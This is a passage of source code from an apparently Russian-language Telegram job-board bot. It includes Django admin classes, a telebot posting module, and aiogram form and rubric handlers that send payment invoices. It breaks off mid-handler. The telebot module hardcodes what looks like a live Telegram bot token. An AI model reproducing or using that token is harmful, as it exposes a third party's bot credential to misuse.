[ "/main.py", "/system.py" ]
0bruhburger0/job_bot
from django.contrib import admin from .models import Resume, Vacancy, Questions @admin.register(Resume) class ResumeAdmin(admin.ModelAdmin): list_display = ('tg_id', 'position', 'contacts', 'money', 'experience', 'education', 'skills', 'info', 'portfolio_url', 'status') @admin.register(Vacancy) class VacancyAdmin(admin.ModelAdmin): list_display = ('tg_id', 'position', 'company_name', 'what_do', 'requirements', 'conditions', 'money', 'contacts', 'rubric', 'position2', 'status') @admin.register(Questions) class QuestionsAdmin(admin.ModelAdmin): list_display = ('id', 'tg_id', 'question', 'answer') --- FILE SEPARATOR --- import telebot import telegram from main.models import Vacancy, Resume, Questions bot = telebot.TeleBot('1227931750:AAHxjQLO4oV9jdLPtD3gETJvHXEjAnrwZu4') def send_vacancy(tg_id): all_part = Vacancy.objects.filter(tg_id=tg_id).all() for a in all_part: bot.send_message(chat_id='@test_rb', text=f'<b>Требуется {a.position} в {a.company_name}</b>\n' f'<b>Что делать:</b>\n' f'{a.what_do}\n\n' f'<b>Требования:</b>\n' f'{a.requirements}\n\n' f'<b>Условия:</b>\n' f'{a.conditions}\n\n' f'<b>Оплата:</b>\n' f'{a.money}\n\n' f'<b>Контакты:</b>\n' f'{a.contacts}\n\n' f'Оставить свою вакансию или резюме тут @removejob_bot\n\n' f'{a.rubric}\n' f'{a.position2}', parse_mode=telegram.ParseMode.HTML) def send_resume(tg_id): all_part = Resume.objects.filter(tg_id=tg_id).all() for r in all_part: if r.portfolio_url is not None: bot.send_message(chat_id='@test_rb', text=f'#Резюме\n' f'<b>{r.position}</b>\n' f'<b>Опыт:</b>\n' f'{r.experience}\n\n' f'<b>Проф. навыки:</b>\n' f'{r.skills}\n\n' f'<b>Образование:</b>\n' f'{r.education}\n\n' f'<b>Портфолио:</b>\n' f'{r.portfolio_url}\n\n' f'<b>Желаемая оплата:</b>\n' f'{r.money}\n\n' f'<b>О себе:</b>\n' f'{r.info}\n\n' f'<b>Контакты:</b>\n' f'{r.contacts}\n\n' f'Оставить свою вакансию или резюме тут @removejob_bot\n\n', parse_mode=telegram.ParseMode.HTML) else: bot.send_message(chat_id='@test_rb', text=f'#Резюме\n' f'<b>{r.position}</b>\n' f'<b>Опыт:</b>\n' f'{r.experience}\n\n' f'<b>Проф. навыки:</b>\n' f'{r.skills}\n\n' f'<b>Образование:</b>\n' f'{r.education}\n\n' f'<b>Желаемая оплата:</b>\n' f'{r.money}\n\n' f'<b>О себе:</b>\n' f'{r.info}\n\n' f'<b>Контакты:</b>\n' f'{r.contacts}\n\n' f'Оставить свою вакансию или резюме тут @removejob_bot\n\n', parse_mode=telegram.ParseMode.HTML) def send_questions(tg_id, question, answer): bot.send_message(tg_id, (f"Твой вопрос: {question}\n\n" f"Ответ: {answer}")) bot.polling() --- FILE SEPARATOR --- from aiogram import Bot, types from aiogram.dispatcher import Dispatcher from aiogram.utils import executor from aiogram.types.message import ContentTypes from .config import TOKEN, PAYMENTS_PROVIDER_TOKEN import telegram from . import buttons import logging from main.models import Resume from asgiref.sync import async_to_sync, sync_to_async from . import testing import aiogram.utils.markdown as md from aiogram.contrib.fsm_storage.memory import MemoryStorage from aiogram.dispatcher import FSMContext from aiogram.dispatcher.filters import Text from aiogram.dispatcher.filters.state import State, StatesGroup from aiogram.types import ParseMode storage = MemoryStorage() dp = Bot(token=TOKEN) bot = Dispatcher(dp, storage=storage) PAYMENTS_PROVIDER_TOKEN = PAYMENTS_PROVIDER_TOKEN class FormQuestion(StatesGroup): tg_id = State() question = State() class FormRub(StatesGroup): tg_id = State() rubric = State() position2 = State() class Form(StatesGroup): position = State() company_name = State() what_do = State() requirements = State() conditions = State() money = State() contacts = State() tg_id = State() class FormResume(StatesGroup): position = State() contacts = State() money = State() experience = State() education = State() skills = State() info = State() portfolio_url = State() tg_id = State() # Setup prices prices_resume = [ types.LabeledPrice(label='Размещение резюме', amount=200000), ] prices_vacancy = [ types.LabeledPrice(label='Размещение Вакансии', amount=100000), ] @bot.callback_query_handler(lambda c: c.data == 'admin') async def process_callback_admin(callback_query: types.CallbackQuery): await FormQuestion.tg_id.set() await dp.answer_callback_query(callback_query.id) await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text='Хорошо, напишите интересующий вас вопрос, и наш модератор обязательно ответит на него! ' 'Учитывайте, что я не умею обрабатывать ваши скриншоты, поэтому не отправляйте мне их.\n\n' '/start - для отмены', parse_mode=telegram.ParseMode.HTML) # await dp.send_message(callback_query.from_user.id, # 'Хорошо, напишите интересующий вас вопрос, и наш модератор обязательно ответит на него! ' # 'Учитывайте, что я не умею обрабатывать ваши скриншоты, поэтому не отправляйте мне их.', # reply_markup=buttons.back_add) @bot.message_handler(state=FormQuestion.tg_id) async def process_quest(message: types.Message, state: FSMContext): if message.text == '/start': await dp.send_message(message.from_user.id, 'Hello! Как дела?\nЯ бот, который поможет' ' <b>найти сотрудника</b> или <b>устроиться на работу</b>.', parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.inline_kb_full) else: async with state.proxy() as data: data['tg_id'] = message.chat.id await FormQuestion.next() async with state.proxy() as data: data['question'] = message.text await testing.save_question(data['tg_id'], data['question']) await state.finish() await dp.send_message(message.from_user.id, "Окей, ваш вопрос был отправлен в поддержку.", reply_markup=buttons.inline_kb_full) @bot.message_handler(commands=['start']) async def send_start(callback_query: types.CallbackQuery): await dp.send_message(callback_query.from_user.id, 'Hello! Как дела?\nЯ бот, который поможет' ' <b>найти сотрудника</b> или <b>устроиться на работу</b>.', parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.inline_kb_full) @bot.callback_query_handler(lambda c: c.data == 'vacancy') async def process_callback_button1(callback_query: types.CallbackQuery): await dp.answer_callback_query(callback_query.id) await dp.send_message(callback_query.from_user.id, 'Хорошо, но вначале необходимо, ' 'чтобы Вы заполнили некоторые данные. ' 'Старайтесь писать кратко и выкладывать основную суть предложения. ' 'Если пост выйдет слишком длинным, то мы его укоротим самостоятельно.') await Form.position.set() await dp.send_message(callback_query.from_user.id, '<b>Укажите название должности. Рекомендуем сделать максимально коротким и понятным (1-4 слова)</b>\n' 'Пример: Программист, Маркетолог, Аналитик, Помощник руководителя.', parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state='*', commands='cancel') @bot.message_handler(Text(equals='cancel', ignore_case=True), state='*') async def cancel_handler(message: types.Message, state: FSMContext): current_state = await state.get_state() if current_state is None: return logging.info('Cancelling state %r', current_state) # Cancel state and inform user about it await state.finish() # And remove keyboard (just in case) await dp.send_message('Cancelled.', reply_markup=types.ReplyKeyboardRemove()) @bot.message_handler(state=Form.position) async def process_position(message: types.Message, state: FSMContext): async with state.proxy() as data: data['position'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Укажите название компании. (1-3 слова)</b>\n" "Пример: Yandex, Telegram", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.company_name) async def process_company_name(message: types.Message, state: FSMContext): async with state.proxy() as data: data['company_name'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Что нужно делать? Рекомендуем сделать количество знаков — 120.</b>\n" "Пример:\n" "- Планирование рабочего дня;\n" "- Ведение деловой переписки;\n" "- Заполнение отчётов", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.what_do) async def process_what_do(message: types.Message, state: FSMContext): async with state.proxy() as data: data['what_do'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Укажите самые важные требования к кандидату. Рекомендуем сделать количество знаков — 140</b>\n" "Пример:\n" "- Опыт работы с фреймворком Yii, Yii2 от 3-х лет;\n" "- Знание SQL;\n" "- GIT;\n" "- Умение разобраться в чужом коде\n" "Список должен быть кратким и по делу. Такие качества, как пунктуальность и сдача работы в срок являются универсальными, и указывать их не стоит.", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.requirements) async def process_requirements(message: types.Message, state: FSMContext): async with state.proxy() as data: data['requirements'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Какие условия Вы обещаете кандидату? Заполняйте кратко, не нужно писать про печеньки в офисе и дружный коллектив</b>\n" "Пример:\n" "- График работы 5/2 с 10:00 до 19:00;\n" "- Оплачиваемые тренинги", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.conditions) async def process_conditions(message: types.Message, state: FSMContext): async with state.proxy() as data: data['conditions'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Укажите уровень зарплаты, строго придерживайтесь примеров ниже.</b>\n" "Пример:\n" "50000 рублей в месяц\n" "60000-120000 р/мес\n" "По итогам собеседования", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.money) async def process_money(message: types.Message, state: FSMContext): async with state.proxy() as data: data['money'] = message.text await Form.next() await dp.send_message(message.from_user.id, "<b>Контактная информация. Весь текст, что не касается контактной информации мы будем убирать</b>\n" "Пример:\n" "- Галина Петровна +797977999\n" "- email@email.name\n" "- @username (ник в телеграме)\n", parse_mode=telegram.ParseMode.HTML) @bot.message_handler(state=Form.contacts) async def process_contacts(message: types.Message, state: FSMContext): async with state.proxy() as data: data['contacts'] = message.text await Form.next() async with state.proxy() as data: data['tg_id'] = message.chat.id await testing.save_vacancy(data['tg_id'], data['position'], data['company_name'], data['what_do'], data['requirements'], data['conditions'], data['money'], data['contacts']) await state.finish() await FormRub.tg_id.set() await dp.send_message(message.from_user.id, "<b>Выберите из предложенного списка необходимую рубрику. " "Если Вы не нашли подходящую, " "тогда выберите ту, которая подходит больше всего.</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.markup) @bot.callback_query_handler(lambda c: c.data == 'Тексты', state=FormRub.tg_id) async def process_rubric(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Тексты' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.texts_btn) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('text'), state=FormRub.position2) async def process_position_texts(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'back_rubric') async def process_rubric_back(callback_query: types.CallbackQuery): await dp.answer_callback_query(callback_query.id) await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите из предложенного списка необходимую рубрику. " "Если Вы не нашли подходящую, " "тогда выберите ту, которая подходит больше всего.</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.markup) @bot.callback_query_handler(lambda c: c.data == 'Дизайн/Арт', state=FormRub.tg_id) async def process_rubric_design(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Дизайн/Арт' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.design) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('design'), state=FormRub.position2) async def process_position_design(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[7:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Реклама и маркетинг', state=FormRub.tg_id) async def process_rubric_ad(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Реклама и маркетинг' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.ad) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('ad'), state=FormRub.position2) async def process_position_ad(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[3:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Полиграфия', state=FormRub.tg_id) async def process_rubric_pg(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Полиграфия' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.pg) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('pg'), state=FormRub.position2) async def process_position_pg(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[3:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Разработка сайтов', state=FormRub.tg_id) async def process_rubric_s(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Разработка сайтов' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.sites) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('site'), state=FormRub.position2) async def process_position_site(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Программирование', state=FormRub.tg_id) async def process_rubric_prog(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Программирование' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.program) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('program'), state=FormRub.position2) async def process_position_program(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[8:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Telegram', state=FormRub.tg_id) async def process_rubric_tg(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Telegram' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.tg) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('tg'), state=FormRub.position2) async def process_position_tg(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[3:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Менеджмент', state=FormRub.tg_id) async def process_rubric_mg(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Менеджмент' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.manage) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('manage'), state=FormRub.position2) async def process_position_manage(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[7:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Оптимизация (SEO)', state=FormRub.tg_id) async def process_rubric_seo(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Оптимизация (SEO)' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.seo) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('seo'), state=FormRub.position2) async def process_position_seo(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[4:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Фотография', state=FormRub.tg_id) async def process_rubric_photo(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Фотография' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.photo) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('photo'), state=FormRub.position2) async def process_position_photo(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[6:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Аудио/Видео', state=FormRub.tg_id) async def process_rubric_vd(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Аудио/Видео' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.video) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('video'), state=FormRub.position2) async def process_position_video(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[6:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Переводы', state=FormRub.tg_id) async def process_rubric_tr(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Переводы' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.tl) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('tl'), state=FormRub.position2) async def process_position_tl(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[3:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == '3D Графика', state=FormRub.tg_id) async def process_rubric_3d(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = '3D Графика' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.gr3d) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('gr3d'), state=FormRub.position2) async def process_position_gr3d(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[5:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Анимация и флеш', state=FormRub.tg_id) async def process_rubric_flash(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['tg_id'] = callback_query.message.chat.id await FormRub.next() async with state.proxy() as data: data['rubric'] = 'Анимация и флеш' await FormRub.next() await dp.edit_message_text(chat_id=callback_query.from_user.id, message_id=callback_query.message.message_id, text="<b>Выберите подходящую должность</b>", parse_mode=telegram.ParseMode.HTML, reply_markup=buttons.flash) @bot.callback_query_handler(lambda c: c.data and c.data.startswith('flash'), state=FormRub.position2) async def process_position_flash(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: data['position2'] = callback_query.data[6:] await testing.save_rubric(data['tg_id'], data['rubric'], data['position2']) await state.finish() await dp.send_invoice(callback_query.message.chat.id, title='Размещение вакансии', description='Оплата за размещение вакансии - 1000₽.\n' 'Все средства сразу уходят в рекламу нашего проекта, чтобы ещё больше ' 'соискателей узнали о вашем предложении.', provider_token=PAYMENTS_PROVIDER_TOKEN, currency='rub', photo_url='https://centersoveta.ru/wp-content/uploads/2019/03/vosstanovlenie-na-rabote.png', photo_height=1126, # !=0/None or picture won't be shown photo_width=2000, photo_size=512, is_flexible=False, # True If you need to set up Shipping Fee prices=prices_vacancy, start_parameter='time-machine-example', payload='its payload') @bot.callback_query_handler(lambda c: c.data == 'Разработка игр', state=FormRub.tg_id) async def process_rubric_gm(callback_query: types.CallbackQuery, state: FSMContext): await dp.answer_callback_query(callback_query.id) async with state.proxy() as data: 